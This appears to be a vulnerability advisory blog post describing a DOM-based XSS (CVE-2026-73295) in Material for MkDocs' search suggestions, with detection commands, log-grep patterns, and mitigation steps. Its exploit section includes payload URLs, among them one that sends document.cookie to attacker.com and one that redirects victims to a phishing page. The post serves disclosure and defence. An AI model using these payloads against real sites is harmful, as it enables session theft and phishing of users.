Material for MkDocs, DOM-Based Cross-Site Scripting (XSS), CVE-2026-73295 (Medium Severity) -DC-Sep2026-2172

Listen to this Post

How CVE-2026-73295 Works

Material for MkDocs is a widely adopted documentation framework built on top of MkDocs, offering enhanced styling and search functionality. The vulnerability exists within the optional `search.suggest` feature, which was introduced in version 7.2.0. This feature provides real-time search suggestions as users type queries into the documentation site’s search bar.
The flaw resides in the `mountSearchSuggest` function, located in the file src/templates/assets/javascripts/components/search/suggest/index.ts. This function processes user input from the `q` URL parameter without implementing adequate sanitization or validation. When a user interacts with the search interface, the JavaScript code fails to properly escape or sanitize the user-provided input before incorporating it into the Document Object Model (DOM) structure.
This insecure handling creates a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker can craft a malicious URL containing a specially designed `q` parameter that injects arbitrary JavaScript code. When a victim clicks on or interacts with this malicious link, the injected script executes within the context of the documentation site’s origin.
The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and maps to CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page). The attack vector is network-based, requires low attack complexity, and necessitates user interaction, but does not require any privileges.
The operational impact extends beyond typical web application security concerns, as affected documentation sites may contain sensitive information or serve as primary knowledge repositories for organizations. Attackers exploiting this vulnerability can execute arbitrary JavaScript code in the context of legitimate user sessions, potentially leading to session hijacking, data exfiltration, or the delivery of additional malicious payloads. The requirement for user interaction makes this vector particularly concerning, as it can be exploited through social engineering tactics where users are directed to malicious search queries that appear legitimate within the documentation context.

DailyCVE Form:

Platform: Material for MkDocs
Version: 7.2.0 – 9.7.6
Vulnerability: DOM-Based XSS
Severity: Medium (CVSS 5.4)
Date: August 12, 2026

Prediction: Patch available (9.7.7)

What Undercode Say:

Analytics & Detection

To identify if a Material for MkDocs instance is vulnerable, check the version:

Check installed version via pip
pip show mkdocs-material | grep Version
Check version in project requirements
cat requirements.txt | grep mkdocs-material
Check version in mkdocs.yml configuration
grep -A 1 "theme:" mkdocs.yml | grep "name: material"

To verify if the `search.suggest` feature is enabled (the vulnerable feature):

Search for search.suggest configuration in mkdocs.yml
grep -r "search.suggest" mkdocs.yml
Check if the feature is explicitly enabled
grep -A 5 "plugins:" mkdocs.yml | grep -A 5 "search:" | grep "suggest:"

To monitor for potential exploitation attempts in server logs:

Look for suspicious q parameters in access logs
grep -E "q=.<script" /var/log/nginx/access.log
Search for encoded XSS payloads in query strings
grep -E "q=.%3Cscript|q=.%22%3E%3Cscript" /var/log/nginx/access.log
Monitor for abnormal search query patterns
awk '{print $7}' /var/log/nginx/access.log | grep -E "\?q=" | sort | uniq -c | sort -nr | head -20

Exploit: (Educational Purposes!)

A proof-of-concept exploit involves crafting a URL with a malicious `q` parameter that executes JavaScript when the victim interacts with the search suggestions:

<!-- Malicious URL format -->
https://target-docs.site/search/?q=<script>alert('XSS')</script>
<!-- URL-encoded payload -->
https://target-docs.site/search/?q=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E
<!-- More advanced payload for cookie theft -->
https://target-docs.site/search/?q=%3Cscript%3Efetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)%3C%2Fscript%3E
<!-- Payload to redirect users -->
https://target-docs.site/search/?q=%3Cscript%3Ewindow.location='https://attacker.com/phishing'%3C%2Fscript%3E

The injected JavaScript executes in the context of the documentation site’s origin after user interaction with the search suggestions. The vulnerability exists because the `mountSearchSuggest` function in `index.ts` fails to properly sanitize the `q` parameter before inserting it into the DOM.

Protection:

  1. Upgrade to version 9.7.7 or later – The issue is fully patched in Material for MkDocs 9.7.7.
    pip install --upgrade mkdocs-material>=9.7.7
    
  2. Disable the vulnerable feature – Sites unable to upgrade immediately should disable the `search.suggest` feature as a workaround:
    In mkdocs.yml
    plugins:</li>
    </ol>
    
    - search:
    suggest: false
    

    3. Implement Content Security Policy (CSP) – Deploy strict CSP headers to limit script execution capabilities as a secondary defense mechanism:

    Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self'
    

    4. Input validation – While the patch addresses the root cause, organizations should enforce comprehensive input validation across all web application components handling user-generated content or search functionality.

    Impact:

    • Confidentiality Impact: LOW – Potential exposure of sensitive information within the documentation site’s context
    • Integrity Impact: LOW – Ability to modify content or perform actions within the user’s session
    • Availability Impact: NONE – The vulnerability does not affect system availability
    • Attack Vector: NETWORK – Exploitable remotely over the network
    • Attack Complexity: LOW – Simple to execute with crafted URLs
    • Privileges Required: NONE – No authentication needed
    • User Interaction: REQUIRED – Victim must click or interact with the malicious link
    • Scope: UNCHANGED – The vulnerability does not propagate to other resources
      The vulnerability affects all Material for MkDocs versions from 7.2.0 through 9.7.6. It is fixed in version 9.7.7. The issue was published to the National Vulnerability Database on August 12, 2026, and to the GitHub Advisory Database on September 3, 2026.

    🎯Let’s Practice Exploiting & Learn Patching For Free:

    🎓 Live Courses & Certifications:

    Join Undercode Academy for Verified Certifications

    🚀 Request a Custom Project:

    Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
    [email protected]
    💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

    Sources:

    Reported By: github.com
    Extra Source Hub:
    Undercode

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow DailyCVE & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top